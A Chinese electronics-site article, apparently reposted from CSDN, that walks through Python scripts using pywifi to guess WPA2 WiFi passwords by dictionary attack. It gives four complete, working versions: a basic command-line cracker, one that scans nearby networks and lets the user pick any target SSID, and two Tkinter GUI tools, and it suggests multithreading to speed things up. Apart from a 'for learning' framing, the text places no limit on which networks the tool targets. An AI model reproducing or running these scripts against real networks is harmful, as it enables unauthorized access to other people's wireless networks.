0
  • 聊天消息
  • 系統(tǒng)消息
  • 評(píng)論與回復(fù)
登錄后你可以
  • 下載海量資料
  • 學(xué)習(xí)在線課程
  • 觀看技術(shù)視頻
  • 寫文章/發(fā)帖/加入社區(qū)
會(huì)員中心
創(chuàng)作中心

完善資料讓更多小伙伴認(rèn)識(shí)你,還能領(lǐng)取20積分哦,立即完善>

3天內(nèi)不再提示

通過(guò)Python腳本實(shí)現(xiàn)WIFI密碼的自動(dòng)猜解

jf_Fo0qk3ln ? 來(lái)源:CSDN技術(shù)社區(qū) ? 2024-01-25 10:46 ? 次閱讀

前言

本文將記錄學(xué)習(xí)下如何通過(guò) Python 腳本實(shí)現(xiàn) WIFI 密碼的自動(dòng)猜解。

無(wú)圖形界面

先來(lái)看看沒(méi)有圖形界面版的自動(dòng)猜解腳本。

WIFI猜解

import pywifi
from pywifi import const
import time
import datetime




# 測(cè)試連接,返回鏈接結(jié)果
def wifiConnect(pwd):
    # 抓取網(wǎng)卡接口
    wifi = pywifi.PyWiFi()
    # 獲取第一個(gè)無(wú)線網(wǎng)卡
    ifaces = wifi.interfaces()[0]
    # 斷開(kāi)所有連接
    ifaces.disconnect()
    time.sleep(1)
    wifistatus = ifaces.status()
    if wifistatus == const.IFACE_DISCONNECTED:
        # 創(chuàng)建WiFi連接文件
        profile = pywifi.Profile()
        # 要連接WiFi的名稱
        profile.ssid = "Tr0e"
        # 網(wǎng)卡的開(kāi)放狀態(tài)
        profile.auth = const.AUTH_ALG_OPEN
        # wifi加密算法,一般wifi加密算法為wps
        profile.akm.append(const.AKM_TYPE_WPA2PSK)
        # 加密單元
        profile.cipher = const.CIPHER_TYPE_CCMP
        # 調(diào)用密碼
        profile.key = pwd
        # 刪除所有連接過(guò)的wifi文件
        ifaces.remove_all_network_profiles()
        # 設(shè)定新的連接文件
        tep_profile = ifaces.add_network_profile(profile)
        ifaces.connect(tep_profile)
        # wifi連接時(shí)間
        time.sleep(2)
        if ifaces.status() == const.IFACE_CONNECTED:
            return True
        else:
            return False
    else:
        print("已有wifi連接")




# 讀取密碼本
def readPassword():
    success = False
    print("****************** WIFI猜解******************")
    # 密碼本路徑
    path = "pwd.txt"
    # 打開(kāi)文件
    file = open(path, "r")
    start = datetime.datetime.now()
    while True:
        try:
            pwd = file.readline()
            # 去除密碼的末尾換行符
            pwd = pwd.strip('
')
            bool = wifiConnect(pwd)
            if bool:
                print("[*] 密碼已猜解:", pwd)
                print("[*] WiFi已自動(dòng)連接?。?!")
                success = True
                break
            else:
                # 跳出當(dāng)前循環(huán),進(jìn)行下一次循環(huán)
                print("正在猜解 SSID 為 %s 的 WIFI密碼,當(dāng)前校驗(yàn)的密碼為:%s"%("Tr0e",pwd))
        except:
            continue
    end = datetime.datetime.now()
    if(success):
        print("[*] 本次猜解WIFI密碼一共用了多長(zhǎng)時(shí)間:{}".format(end - start))
    else:
        print("[*] 很遺憾未能幫你猜解出當(dāng)前指定WIFI的密碼,請(qǐng)更換密碼字典后重新嘗試!")
    exit(0)




if __name__=="__main__":
    readPassword()


代碼運(yùn)行效果:

71599ac0-bb15-11ee-8b88-92fbcf53809c.png

腳本優(yōu)化

以上腳本需內(nèi)嵌 WIFI 名、密碼字典路徑,缺少靈活性。下面進(jìn)行改造優(yōu)化:
import pywifi
import time
from pywifi import const




# WiFi掃描模塊
def wifi_scan():
    # 初始化wifi
    wifi = pywifi.PyWiFi()
    # 使用第一個(gè)無(wú)線網(wǎng)卡
    interface = wifi.interfaces()[0]
    # 開(kāi)始掃描
    interface.scan()
    for i in range(4):
        time.sleep(1)
        print('
掃描可用 WiFi 中,請(qǐng)稍后。。。(' + str(3 - i), end=')')
    print('
掃描完成!
' + '-' * 38)
    print('
{:4}{:6}{}'.format('編號(hào)', '信號(hào)強(qiáng)度', 'wifi名'))
    # 掃描結(jié)果,scan_results()返回一個(gè)集,存放的是每個(gè)wifi對(duì)象
    bss = interface.scan_results()
    # 存放wifi名的集合
    wifi_name_set = set()
    for w in bss:
        # 解決亂碼問(wèn)題
        wifi_name_and_signal = (100 + w.signal, w.ssid.encode('raw_unicode_escape').decode('utf-8'))
        wifi_name_set.add(wifi_name_and_signal)
    # 存入列表并按信號(hào)排序
    wifi_name_list = list(wifi_name_set)
    wifi_name_list = sorted(wifi_name_list, key=lambda a: a[0], reverse=True)
    num = 0
    # 格式化輸出
    while num < len(wifi_name_list):
        print('
{:<6d}{:<8d}{}'.format(num, wifi_name_list[num][0], wifi_name_list[num][1]))
        num += 1
    print('-' * 38)
    # 返回wifi列表
    return wifi_name_list




# WIFI猜解模塊
def wifi_password_crack(wifi_name):
    # 字典路徑
    wifi_dic_path = input("請(qǐng)輸入本地用于WIFI猜解的密碼字典(txt格式,每個(gè)密碼占據(jù)1行)的路徑:")
    with open(wifi_dic_path, 'r') as f:
        # 遍歷密碼
        for pwd in f:
            # 去除密碼的末尾換行符
            pwd = pwd.strip('
')
            # 創(chuàng)建wifi對(duì)象
            wifi = pywifi.PyWiFi()
            # 創(chuàng)建網(wǎng)卡對(duì)象,為第一個(gè)wifi網(wǎng)卡
            interface = wifi.interfaces()[0]
            # 斷開(kāi)所有wifi連接
            interface.disconnect()
            # 等待其斷開(kāi)
            while interface.status() == 4:
                # 當(dāng)其處于連接狀態(tài)時(shí),利用循環(huán)等待其斷開(kāi)
                pass
            # 創(chuàng)建連接文件(對(duì)象)
            profile = pywifi.Profile()
            # wifi名稱
            profile.ssid = wifi_name
            # 需要認(rèn)證
            profile.auth = const.AUTH_ALG_OPEN
            # wifi默認(rèn)加密算法
            profile.akm.append(const.AKM_TYPE_WPA2PSK)
            profile.cipher = const.CIPHER_TYPE_CCMP
            # wifi密碼
            profile.key = pwd
            # 刪除所有wifi連接文件
            interface.remove_all_network_profiles()
            # 設(shè)置新的wifi連接文件
            tmp_profile = interface.add_network_profile(profile)
            # 開(kāi)始嘗試連接
            interface.connect(tmp_profile)
            start_time = time.time()
            while time.time() - start_time < 1.5:
                # 接口狀態(tài)為4代表連接成功(當(dāng)嘗試時(shí)間大于1.5秒之后則為錯(cuò)誤密碼,經(jīng)測(cè)試測(cè)正確密碼一般都在1.5秒內(nèi)連接,若要提高準(zhǔn)確性可以設(shè)置為2s或以上,相應(yīng)猜解速度就會(huì)變慢)
                if interface.status() == 4:
                    print(f'
連接成功!密碼為:{pwd}')
                    exit(0)
                else:
                    print(f'
正在利用密碼 {pwd} 嘗試猜解。', end='')


# 主函數(shù)
def main():
    # 退出標(biāo)致
    exit_flag = 0
    # 目標(biāo)編號(hào)
    target_num = -1
    while not exit_flag:
        try:
            print('WiFi萬(wàn)能鑰匙'.center(35, '-'))
            # 調(diào)用掃描模塊,返回一個(gè)排序后的wifi列表
            wifi_list = wifi_scan()
            # 讓用戶選擇要猜解的wifi編號(hào),并對(duì)用戶輸入的編號(hào)進(jìn)行判斷和異常處理
            choose_exit_flag = 0
            while not choose_exit_flag:
                try:
                    target_num = int(input('請(qǐng)選擇你要嘗試猜解的wifi:'))
                    # 如果要選擇的wifi編號(hào)在列表內(nèi),繼續(xù)二次判斷,否則重新輸入
                    if target_num in range(len(wifi_list)):
                        # 二次確認(rèn)
                        while not choose_exit_flag:
                            try:
                                choose = str(input(f'你選擇要猜解的WiFi名稱是:{wifi_list[target_num][1]},確定嗎?(Y/N)'))
                                # 對(duì)用戶輸入進(jìn)行小寫處理,并判斷
                                if choose.lower() == 'y':
                                    choose_exit_flag = 1
                                elif choose.lower() == 'n':
                                    break
                                # 處理用戶其它字母輸入
                                else:
                                    print('只能輸入 Y/N 哦o(* ̄︶ ̄*)o')
                            # 處理用戶非字母輸入
                            except ValueError:
                                print('只能輸入 Y/N 哦o(* ̄︶ ̄*)o')
                        # 退出猜解
                        if choose_exit_flag == 1:
                            break
                        else:
                            print('請(qǐng)重新輸入哦(*^▽^*)')
                except ValueError:
                    print('只能輸入數(shù)字哦o(* ̄︶ ̄*)o')
            # 密碼猜解,傳入用戶選擇的wifi名稱
            wifi_password_crack(wifi_list[target_num][1])
            print('-' * 38)
            exit_flag = 1
        except Exception as e:
            print(e)
            raise e




if __name__ == '__main__':
    main()

腳本運(yùn)行效果如下:

715e2216-bb15-11ee-8b88-92fbcf53809c.png

上述代碼實(shí)現(xiàn)了依據(jù)信號(hào)強(qiáng)度枚舉當(dāng)前附近的所有 WIFI 名稱,并且可供用戶自主選擇需要自動(dòng)猜解的 WIFI,同時(shí)還可靈活指定自動(dòng)猜解的字典,相對(duì)而言體驗(yàn)感提升了不少。進(jìn)一步也可以將上述腳本打包生成 exe 文件,雙擊運(yùn)行效果如下:

716e94a2-bb15-11ee-8b88-92fbcf53809c.png

圖形化界面

下面基于 Python 的 GUI 圖形界面開(kāi)發(fā)庫(kù) Tkinter 優(yōu)化上述腳本,實(shí)現(xiàn)友好的可視化 WIFI 自動(dòng)猜解界面工具。關(guān)于 Tkinter 庫(kù)的語(yǔ)法可參見(jiàn):Python GUI編程(Tkinter)。

簡(jiǎn)單版UI
from tkinter import *
from pywifi import const
import pywifi
import time




# 主要步驟:
# 1、獲取第一個(gè)無(wú)線網(wǎng)卡
# 2、斷開(kāi)所有的wifi
# 3、讀取密碼本
# 4、設(shè)置睡眠時(shí)間
def wificonnect(str, wifiname):
    # 窗口無(wú)線對(duì)象
    wifi = pywifi.PyWiFi()
    # 抓取第一個(gè)無(wú)線網(wǎng)卡
    ifaces = wifi.interfaces()[0]
    # 斷開(kāi)所有的wifi
    ifaces.disconnect()
    time.sleep(1)
    if ifaces.status() == const.IFACE_DISCONNECTED:
        # 創(chuàng)建wifi連接文件
        profile = pywifi.Profile()
        profile.ssid = wifiname
        # wifi的加密算法
        profile.akm.append(const.AKM_TYPE_WPA2PSK)
        # wifi的密碼
        profile.key = str
        # 網(wǎng)卡的開(kāi)發(fā)
        profile.auth = const.AUTH_ALG_OPEN
        # 加密單元,這里需要寫點(diǎn)加密單元否則無(wú)法連接
        profile.cipher = const.CIPHER_TYPE_CCMP
        # 刪除所有的wifi文件
        ifaces.remove_all_network_profiles()
        # 設(shè)置新的連接文件
        tep_profile = ifaces.add_network_profile(profile)
        # 連接
        ifaces.connect(tep_profile)
        time.sleep(3)
        if ifaces.status() == const.IFACE_CONNECTED:
            return True
        else:
            return False




def readPwd():
    # 獲取wiif名稱
    wifiname = entry.get().strip()
    path = r'./pwd.txt'
    file = open(path, 'r')
    while True:
        try:
            # 讀取
            mystr = file.readline().strip()
            # 測(cè)試連接
            bool = wificonnect(mystr, wifiname)
            if bool:
                text.insert(END, '密碼正確' + mystr)
                text.see(END)
                text.update()
                file.close()
                break
            else:
                text.insert(END, '密碼錯(cuò)誤' + mystr)
                text.see(END)
                text.update()
        except:
            continue




# 創(chuàng)建窗口
root = Tk()
root.title('wifi猜解')
root.geometry('500x400')
# 標(biāo)簽
label = Label(root, text='輸入要猜解的WIFI名稱:')
# 定位
label.grid()
# 輸入控件
entry = Entry(root, font=('微軟雅黑', 14))
entry.grid(row=0, column=1)
# 列表控件
text = Listbox(root, font=('微軟雅黑', 14), width=40, height=10)
text.grid(row=1, columnspan=2)
# 按鈕
button = Button(root, text='開(kāi)始猜解', width=20, height=2, command=readPwd)
button.grid(row=2, columnspan=2)
# 顯示窗口
root.mainloop()


腳本運(yùn)行效果:

718ce326-bb15-11ee-8b88-92fbcf53809c.png


UI升級(jí)版


以上圖形界面未允許選擇密碼字典,下面進(jìn)行優(yōu)化升級(jí):
from tkinter import *
from tkinter import ttk
import pywifi
from pywifi import const
import time
import tkinter.filedialog  # 在Gui中打開(kāi)文件瀏覽
import tkinter.messagebox  # 打開(kāi)tkiner的消息提醒框




class MY_GUI():
    def __init__(self, init_window_name):
        self.init_window_name = init_window_name
        # 密碼文件路徑
        self.get_value = StringVar()  # 設(shè)置可變內(nèi)容
        # 獲取猜解wifi賬號(hào)
        self.get_wifi_value = StringVar()
        # 獲取wifi密碼
        self.get_wifimm_value = StringVar()
        # 抓取網(wǎng)卡接口
        self.wifi = pywifi.PyWiFi()
        # 抓取第一個(gè)無(wú)線網(wǎng)卡
        self.iface = self.wifi.interfaces()[0]
        # 測(cè)試鏈接斷開(kāi)所有鏈接
        self.iface.disconnect()
        time.sleep(1)  # 休眠1秒
        # 測(cè)試網(wǎng)卡是否屬于斷開(kāi)狀態(tài)
        assert self.iface.status() in 
               [const.IFACE_DISCONNECTED, const.IFACE_INACTIVE]


    def __str__(self):
        # 自動(dòng)會(huì)調(diào)用的函數(shù),返回自身的網(wǎng)卡
        return '(WIFI:%s,%s)' % (self.wifi, self.iface.name())


    # 設(shè)置窗口
    def set_init_window(self):
        self.init_window_name.title("WIFI猜解工具")
        self.init_window_name.geometry('+500+200')
        labelframe = LabelFrame(width=400, height=200, text="配置")  # 框架,以下對(duì)象都是對(duì)于labelframe中添加的
        labelframe.grid(column=0, row=0, padx=10, pady=10)
        self.search = Button(labelframe, text="搜索附近WiFi", command=self.scans_wifi_list).grid(column=0, row=0)
        self.pojie = Button(labelframe, text="開(kāi)始猜解", command=self.readPassWord).grid(column=1, row=0)
        self.label = Label(labelframe, text="目錄路徑:").grid(column=0, row=1)
        self.path = Entry(labelframe, width=12, textvariable=self.get_value).grid(column=1, row=1)
        self.file = Button(labelframe, text="添加密碼文件目錄", command=self.add_mm_file).grid(column=2, row=1)
        self.wifi_text = Label(labelframe, text="WiFi賬號(hào):").grid(column=0, row=2)
        self.wifi_input = Entry(labelframe, width=12, textvariable=self.get_wifi_value).grid(column=1, row=2)
        self.wifi_mm_text = Label(labelframe, text="WiFi密碼:").grid(column=2, row=2)
        self.wifi_mm_input = Entry(labelframe, width=10, textvariable=self.get_wifimm_value).grid(column=3, row=2,sticky=W)
        self.wifi_labelframe = LabelFrame(text="wifi列表")
        self.wifi_labelframe.grid(column=0, row=3, columnspan=4, sticky=NSEW)
        # 定義樹(shù)形結(jié)構(gòu)與滾動(dòng)條
        self.wifi_tree = ttk.Treeview(self.wifi_labelframe, show="headings", columns=("a", "b", "c", "d"))
        self.vbar = ttk.Scrollbar(self.wifi_labelframe, orient=VERTICAL, command=self.wifi_tree.yview)
        self.wifi_tree.configure(yscrollcommand=self.vbar.set)
        # 表格的標(biāo)題
        self.wifi_tree.column("a", width=50, anchor="center")
        self.wifi_tree.column("b", width=100, anchor="center")
        self.wifi_tree.column("c", width=100, anchor="center")
        self.wifi_tree.column("d", width=100, anchor="center")
        self.wifi_tree.heading("a", text="WiFiID")
        self.wifi_tree.heading("b", text="SSID")
        self.wifi_tree.heading("c", text="BSSID")
        self.wifi_tree.heading("d", text="signal")
        self.wifi_tree.grid(row=4, column=0, sticky=NSEW)
        self.wifi_tree.bind("", self.onDBClick)
        self.vbar.grid(row=4, column=1, sticky=NS)


    # 搜索wifi
    def scans_wifi_list(self):  # 掃描周圍wifi列表
        # 開(kāi)始掃描
        print("^_^ 開(kāi)始掃描附近wifi...")
        self.iface.scan()
        time.sleep(15)
        # 在若干秒后獲取掃描結(jié)果
        scanres = self.iface.scan_results()
        # 統(tǒng)計(jì)附近被發(fā)現(xiàn)的熱點(diǎn)數(shù)量
        nums = len(scanres)
        print("數(shù)量: %s" % (nums))
        # 實(shí)際數(shù)據(jù)
        self.show_scans_wifi_list(scanres)
        return scanres


    # 顯示wifi列表
    def show_scans_wifi_list(self, scans_res):
        for index, wifi_info in enumerate(scans_res):
            self.wifi_tree.insert("", 'end', values=(index + 1, wifi_info.ssid, wifi_info.bssid, wifi_info.signal))


    # 添加密碼文件目錄
    def add_mm_file(self):
        self.filename = tkinter.filedialog.askopenfilename()
        self.get_value.set(self.filename)


    # Treeview綁定事件
    def onDBClick(self, event):
        self.sels = event.widget.selection()
        self.get_wifi_value.set(self.wifi_tree.item(self.sels, "values")[1])


    # 讀取密碼字典,進(jìn)行匹配
    def readPassWord(self):
        self.getFilePath = self.get_value.get()
        self.get_wifissid = self.get_wifi_value.get()
        pwdfilehander = open(self.getFilePath, "r", errors="ignore")
        while True:
            try:
                self.pwdStr = pwdfilehander.readline()
                if not self.pwdStr:
                    break
                self.bool1 = self.connect(self.pwdStr, self.get_wifissid)
                if self.bool1:
                    self.res = "[*] 密碼正確!wifi名:%s,匹配密碼:%s " % (self.get_wifissid, self.pwdStr)
                    self.get_wifimm_value.set(self.pwdStr)
                    tkinter.messagebox.showinfo('提示', '猜解成功?。?!')
                    print(self.res)
                    break
                else:
                    self.res = "[*] 密碼錯(cuò)誤!wifi名:%s,匹配密碼:%s" % (self.get_wifissid, self.pwdStr)
                    print(self.res)
                time.sleep(3)
            except:
                continue


    # 對(duì)wifi和密碼進(jìn)行匹配
    def connect(self, pwd_Str, wifi_ssid):
        # 創(chuàng)建wifi鏈接文件
        self.profile = pywifi.Profile()
        self.profile.ssid = wifi_ssid  # wifi名稱
        self.profile.auth = const.AUTH_ALG_OPEN  # 網(wǎng)卡的開(kāi)放
        self.profile.akm.append(const.AKM_TYPE_WPA2PSK)  # wifi加密算法
        self.profile.cipher = const.CIPHER_TYPE_CCMP  # 加密單元
        self.profile.key = pwd_Str  # 密碼
        self.iface.remove_all_network_profiles()  # 刪除所有的wifi文件
        self.tmp_profile = self.iface.add_network_profile(self.profile)  # 設(shè)定新的鏈接文件
        self.iface.connect(self.tmp_profile)  # 鏈接
        time.sleep(5)
        if self.iface.status() == const.IFACE_CONNECTED:  # 判斷是否連接上
            isOK = True
        else:
            isOK = False
        self.iface.disconnect()  # 斷開(kāi)
        time.sleep(1)
        # 檢查斷開(kāi)狀態(tài)
        assert self.iface.status() in 
               [const.IFACE_DISCONNECTED, const.IFACE_INACTIVE]
        return isOK




def gui_start():
    init_window = Tk()
    ui = MY_GUI(init_window)
    print(ui)
    ui.set_init_window()
    init_window.mainloop()




if __name__ == "__main__":
    gui_start()



腳本運(yùn)行效果如下:

719e9f4e-bb15-11ee-8b88-92fbcf53809c.png


以上基于 Python 的 GUI 圖形界面開(kāi)發(fā)庫(kù) Tkinter,實(shí)際上 Python 的 GUI 編程可以借助 PyQt5 來(lái)自動(dòng)生成 UI 代碼。

總結(jié)

本文學(xué)習(xí)了 Python 自動(dòng)猜解 WIFI 密碼的方法、以及 Python GUI 圖形化編程的基礎(chǔ)使用。

所演示的代碼的不足在于均沒(méi)有使用多線程進(jìn)行 WIFI 連接測(cè)試,實(shí)際上因?yàn)?WIFI 連接測(cè)試需要一定的耗時(shí)(3-5秒),故使用多線程將能減少自動(dòng)猜解過(guò)程的等待時(shí)間。

作者:Tr0

審核編輯:湯梓紅

聲明:本文內(nèi)容及配圖由入駐作者撰寫或者入駐合作網(wǎng)站授權(quán)轉(zhuǎn)載。文章觀點(diǎn)僅代表作者本人,不代表電子發(fā)燒友網(wǎng)立場(chǎng)。文章及其配圖僅供工程師學(xué)習(xí)之用,如有內(nèi)容侵權(quán)或者其他違規(guī)問(wèn)題,請(qǐng)聯(lián)系本站處理。 舉報(bào)投訴
  • WIFI
    +關(guān)注

    關(guān)注

    81

    文章

    5280

    瀏覽量

    203084
  • python
    +關(guān)注

    關(guān)注

    55

    文章

    4767

    瀏覽量

    84375
  • 腳本
    +關(guān)注

    關(guān)注

    1

    文章

    387

    瀏覽量

    14811

原文標(biāo)題:附近局域網(wǎng)WIFI密碼的自動(dòng)猜解!

文章出處:【微信號(hào):菜鳥(niǎo)學(xué)信安,微信公眾號(hào):菜鳥(niǎo)學(xué)信安】歡迎添加關(guān)注!文章轉(zhuǎn)載請(qǐng)注明出處。

收藏 人收藏

    評(píng)論

    相關(guān)推薦

    shell腳本習(xí)題—數(shù)字

    需求:寫一個(gè)數(shù)字腳本,目標(biāo)預(yù)設(shè)數(shù)字需要隨機(jī)生成,范圍為0-100,當(dāng)用戶輸入的數(shù)字和預(yù)設(shè)數(shù)字一樣時(shí),提示用戶猜對(duì),然后直接退出,否則需要提示用戶比預(yù)設(shè)數(shù)字大或者小,然后讓用戶持續(xù)輸入。
    發(fā)表于 10-25 09:03 ?909次閱讀

    10個(gè)Python腳本來(lái)自動(dòng)化你的日常任務(wù)

    今天浩道跟大家分享幾個(gè)關(guān)于python自動(dòng)化日常工作的實(shí)用案例腳本!
    發(fā)表于 10-25 09:04 ?705次閱讀

    10個(gè)殺手級(jí)的Python自動(dòng)腳本

    今天浩道跟大家分享10個(gè)日常工作中用到的python自動(dòng)腳本。讓你感受一番python簡(jiǎn)單強(qiáng)大之處!
    發(fā)表于 11-28 11:07 ?665次閱讀

    python自動(dòng)編寫腳本及分配引腳

    對(duì)于具有484個(gè)引腳的芯片,如果手動(dòng)一個(gè)一個(gè)設(shè)置引腳,必然是一場(chǎng)噩夢(mèng)。網(wǎng)上有使用Capture進(jìn)行自動(dòng)導(dǎo)入的帖子,不過(guò)沒(méi)有找到AD方面的帖子。本文使用python,編寫腳本,自動(dòng)分配引
    發(fā)表于 07-23 06:49

    TPYBoard是怎樣通過(guò)Python腳本語(yǔ)言實(shí)現(xiàn)單片機(jī)控制的

    MicroPython是什么?TPYBoard是怎樣通過(guò)Python腳本語(yǔ)言實(shí)現(xiàn)單片機(jī)控制的?
    發(fā)表于 11-10 06:56

    python腳本如何根據(jù)公網(wǎng)IP自動(dòng)獲取地址和天氣信息?

    python腳本如何根據(jù)公網(wǎng)IP自動(dòng)獲取地址和天氣信息?
    發(fā)表于 12-28 07:14

    【Banana PI Leaf S3開(kāi)發(fā)板試用體驗(yàn)】開(kāi)發(fā)板WIFI聯(lián)網(wǎng)與遠(yuǎn)程腳本自動(dòng)化執(zhí)行

    ,為調(diào)試開(kāi)發(fā)實(shí)現(xiàn)遠(yuǎn)程更新腳本,給開(kāi)發(fā)帶來(lái)很大的方便。一個(gè)完善的網(wǎng)絡(luò)程序加載并自動(dòng)執(zhí)行的流程應(yīng)如下:目前http下載只能限于python文本數(shù)據(jù)的下載,沒(méi)有太強(qiáng)的文件完整性校驗(yàn)等機(jī)制,但
    發(fā)表于 10-18 19:47

    如何在 IIS 中執(zhí)行 Python 腳本

    如何在 IIS 中執(zhí)行 Python 腳本 Python 是一種解釋腳本語(yǔ)言,概念類似 Microsoft Visual Basic Scripting Edition (VBSc
    發(fā)表于 02-23 15:13 ?1243次閱讀

    如何通過(guò)Python腳本實(shí)現(xiàn)WIFI密碼的暴力破解

    前言 本文將記錄學(xué)習(xí)下如何通過(guò) Python 腳本實(shí)現(xiàn) WIFI 密碼的暴力破解,從而
    的頭像 發(fā)表于 09-10 17:09 ?1.7w次閱讀
    如何<b class='flag-5'>通過(guò)</b><b class='flag-5'>Python</b><b class='flag-5'>腳本</b><b class='flag-5'>實(shí)現(xiàn)</b><b class='flag-5'>WIFI</b><b class='flag-5'>密碼</b>的暴力破解

    通過(guò)Python腳本實(shí)現(xiàn)WIFI密碼的暴力破解

    本文將記錄學(xué)習(xí)下如何通過(guò) Python 腳本實(shí)現(xiàn) WIFI 密碼的暴力破解。
    的頭像 發(fā)表于 09-19 09:55 ?6630次閱讀

    分享10個(gè)實(shí)用的Python自動(dòng)腳本

    重復(fù)性任務(wù)總是耗時(shí)且無(wú)聊,想一想你想要一張一張地裁剪 100 張照片或 Fetch API、糾正拼寫和語(yǔ)法等工作,所有這些任務(wù)都很耗時(shí),為什么不自動(dòng)化它們呢?在今天的文章中,我將與你分享 10 個(gè) Python 自動(dòng)
    的頭像 發(fā)表于 01-21 15:58 ?1300次閱讀

    如何通過(guò)Python腳本批量采集華為交換機(jī)配置

    通過(guò)學(xué)習(xí)python網(wǎng)絡(luò)運(yùn)維自動(dòng)化減少重復(fù)無(wú)意義的工作量,本次實(shí)驗(yàn)雖然只是一條命令,通過(guò)display current-configuration采集設(shè)備配置,但是在有大量設(shè)備需要采集
    的頭像 發(fā)表于 01-09 10:32 ?4703次閱讀

    使用Python腳本實(shí)現(xiàn)自動(dòng)化運(yùn)維任務(wù)

    許多運(yùn)維工程師會(huì)使用 Python 腳本來(lái)自動(dòng)化運(yùn)維任務(wù)。Python 是一種流行的編程語(yǔ)言,具有豐富的第三方庫(kù)和強(qiáng)大的自動(dòng)化能力,適用于許多不同的領(lǐng)域。
    的頭像 發(fā)表于 04-08 10:36 ?1608次閱讀

    如何通過(guò)Python來(lái)找回wifi密碼

    管理頁(yè)面,但是如果你連路由器密碼也忘了,那就非常尷尬。 還有一種方法是通過(guò)iCloud鑰匙串,但這個(gè)方法非常麻煩,需要通過(guò)備份獲取。 今天告訴大家一個(gè)最簡(jiǎn)單的方法:通過(guò)
    的頭像 發(fā)表于 11-02 14:42 ?672次閱讀
    如何<b class='flag-5'>通過(guò)</b><b class='flag-5'>Python</b>來(lái)找回<b class='flag-5'>wifi</b><b class='flag-5'>密碼</b>

    如何使用Python編寫腳本來(lái)自動(dòng)發(fā)送郵件

    Python是一種非常流行的編程語(yǔ)言,可以用于多種用途,包括自動(dòng)化任務(wù)。其中一個(gè)常見(jiàn)的自動(dòng)化任務(wù)是自動(dòng)發(fā)送郵件。在本文中,我們將介紹如何使用Pyth
    的頭像 發(fā)表于 12-07 11:36 ?1280次閱讀